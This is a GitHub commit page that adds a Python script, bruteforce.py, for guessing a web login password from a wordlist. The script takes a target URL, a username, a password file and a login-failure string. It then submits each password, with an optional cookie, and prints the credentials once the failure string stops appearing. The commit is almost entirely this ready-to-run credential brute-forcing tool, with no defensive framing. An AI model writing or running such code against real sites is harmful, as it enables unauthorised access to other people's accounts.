Skip to content

Commit e395710

Browse files
authored
Add files via upload
1 parent fcdf708 commit e395710

File tree

1 file changed

+36
-0
lines changed

1 file changed

+36
-0
lines changed

bruteforce.py

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
2+
import requests
3+
from termcolor import colored
4+
5+
url = input('[+] Enter Page URL: ')
6+
username = input('[+] Enter Username For The Account To Bruteforce: ')
7+
password_file = input('[+] Enter Password File To Use: ')
8+
login_failed_string = input('[+] Enter String That Occurs When Login Fails: ')
9+
cookie_value = input('Enter Cookie Value(Optional): ')
10+
11+
12+
def cracking(username,url):
13+
for password in passwords:
14+
password = password.strip()
15+
print(colored(('Trying: ' + password), 'red'))
16+
data = {'username':username,'password':password,'Login':'submit'}
17+
if cookie_value != '':
18+
response = requests.get(url, params={'username':username,'password':password,'Login':'Login'}, cookies = {'Cookie': cookie_value})
19+
else:
20+
response = requests.post(url, data=data)
21+
if login_failed_string in response.content.decode():
22+
pass
23+
else:
24+
print(colored(('[+] Found Username: ==> ' + username), 'green'))
25+
print(colored(('[+] Found Password: ==> ' + password), 'green'))
26+
exit()
27+
28+
29+
30+
31+
with open(password_file, 'r') as passwords:
32+
cracking(username,url)
33+
34+
print('[!!] Password Not In List')
35+
36+

0 commit comments

Comments
 (0)